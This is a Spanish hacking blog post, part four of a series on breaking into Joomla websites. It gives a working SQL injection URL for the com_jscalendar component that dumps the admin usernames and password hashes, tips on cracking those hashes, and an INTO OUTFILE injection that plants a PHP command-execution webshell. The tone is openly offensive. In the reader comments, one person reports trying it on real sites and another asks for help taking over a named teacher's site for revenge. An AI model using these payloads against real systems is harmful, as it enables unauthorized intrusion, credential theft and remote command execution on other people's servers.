jueves, 18 de noviembre de 2010

Juaqueando webs con Joomla [Parte IV]

En esta cuarta y ultima parte veremos como conseguir una shell del servidor explotando las vulnerabilidades encontradas. Básicamente explicare cual es el procedimiento usual de explotación de dos tipos de vulnerabilidad: SQL injection (SQLi) y Local File Inclusión (LFI). Empecemos.

SQL injection (SQLi)

Esta vulnerabilidad nos permite incluir ordenes SQL en alguna consulta que hace la aplicación a la base de datos y de esta forma modificar la respuesta de la base de datos y/o el comportamiento de la aplicación. Esto es posible gracias a que no se validan correctamente los parámetros que envía el usuario a la aplicación. Parámetros que luego son usados para formar la sentencia SQL.

Como el post no trata sobre SQLi en si, no me extenderé más en explicaciones sobre ello. Quizá abordemos ese tema en otro post más adelante.

Obteniendo los usuarios y contraseñas de Joomla

Casi todas las PoC (pruebas de concepto) de las vulns SQLi para Joomla te permiten listar los usuarios y contraseñas de la tabla jos_users (tabla donde Joomla almacena sus usuarios). Con lo que solamente quedaría copiar y pegar. Por ejemplo:

En el exploit para el componente com_jscalendar (http://www.exploit-db.com/exploits/15224/) la prueba de concepto es:

http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users

Solo toca copiar lo que va después de index.php? y pegarlo en la URL de un sitio vulnerable. Podemos obtener algo como esto:


o esto:


o como este último:


Como se observa las contraseñas están encriptadas. Joomla utiliza su propio algoritmo de encriptación basado en MD5. Para desencriptar los hashes podemos hacer 3 cosas:

Los escribimos en Google y revisamos las respuestas si las hay (técnica conocida como Google Cracking) Esto funciona por que hay paginas web que publican hashes desencriptadas y con un poco de suerte Google nos mostrará el camino.

Usamos servicios de crackeo online. Hay muchos sitios que se dedican a reventar hashes de muchos algoritmos y cuentan con bases de datos de millones de registros. Con un poco de suerte el hash que buscamos podría estar ahí. Algunas paginas que se dedican a esto son:
O como ultima opción, darle nosotros mismos. Sí, bueno no queda de otra. Si el hash que buscamos no está en internet entonces habrá que reventarlo con la nuestra. Bájate un buen cracker que use tu GPU, algunos diccionarios de muchos gigas de palabras y a darle un rato hasta reventar el hash. Ojo que esto puede demorar horas, días, semanas, meses o incluso mucho más tiempo. Pero en fin... depende de tí, yo no insistiría tanto.

Bien ya tengo el password desencriptado ¿Que hago?. Pues entrar por la puerta grande, nos vamos al panel de administración, metemos nuestras credenciales y pa dentro. Ya desde ahí no es difícil subir una webshell, ya sea usando la opción para subir imágenes o modificando el código php de las plantillas.

Inyectando directamente la webshell

La idea es usar la orden INTO OUTFILE para guardar la respuesta de la base de datos en un fichero dentro del servidor. Claro que la respuesta incluirá un bonito código en PHP que ejecuta comandos y el fichero lo guardaremos en la zona publica del servidor web con extensión ".php". ¿Qué malos que somos no? }:]

Este método suena bien, pero hay algunas dificultades:

Necesitamos conocer el path del directorio publico del servidor web. Aunque siempre podemos intentar con los path por defecto o tratar de generar un error que nos muestre el path.

Necesitamos que el usuario de la base de datos tenga permisos para escribir en el directorio publico del servidor web.

Si contamos con todo lo anterior pues ¿Que estamos esperando? ¡A darle!

La orden SQL más o menos seria así:

SELECT '[WEBSHELL]' INTO OUTFILE '[PATH]/shell.php'

Donde [WEBSHELL] es el código PHP que queremos inyectar y [PATH] el path del directorio publico del servidor web.

Un ejemplo de [WEBSHELL]:

<? passthru($_GET['cmd']); ?>

El código anterior ejecuta la orden que se le envía por método GET en la variable "cmd". No olviden escapar las comillas (\') cuando lo incluyan en la orden SQL.

Volviendo a tomar como ejemplo el exploit para com_jscalendar, la inyeccion de la shell quedaría así:

http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,'<? passthru($_GET[\'cmd\']); ?>',3,4,5,6,7,8 INTO OUTFILE '/opt/lampp/htdocs/path/shell.php'

Luego ya podemos ejecutar comandos con nuestra shell inyectada:

http://site/path/shell.php?cmd=[COMANDO]

Bien... esto se ha extendido demasiado, dejare la explotacion de LFI para una quinta parte xD.

Hasta entonces... Saludos.

7 comentarios:

  1. WooW, lo pondré en práctica no lo dudes...
    Gracias por la explicación!

    ResponderEliminar
  2. Muy buen aporte espero q sigas mostrando tus conocimientos ...
    Saludos .......

    ResponderEliminar
  3. Hola Toni Re, hola manuonda... gracias, seguiré publicando ;)

    Un Saludo...

    ResponderEliminar
  4. q tal he intentado probar esta vulnerabilidad pero solo me sale no details, he hecho sitios de mi zona con esta busqueda inurl:com_jscalendar site:cl pareciera q el numero 999 es el q no lo encuentra, probe otro num y nada

    ResponderEliminar
  5. Hola, debe ser por que esa vuln ya lleva mucho tiempo y seguro que ya ha sido parcheada.

    Saludos...

    ResponderEliminar
  6. No entiendo para que se usa o se descarga el exploit?

    Saludos y excelente tutorial...

    ResponderEliminar
  7. Hola a Migo solo quiero que me ayudes con un problema que tengo lo que quiero es saber la clave de una pagina web de un profesor que me la tiene montada quiero tener el poder de su pagina para así poder gobernara y desquitar mela alguien me ayudaría gracias este es el link de la pagina
    http://eferamid.com

    ResponderEliminar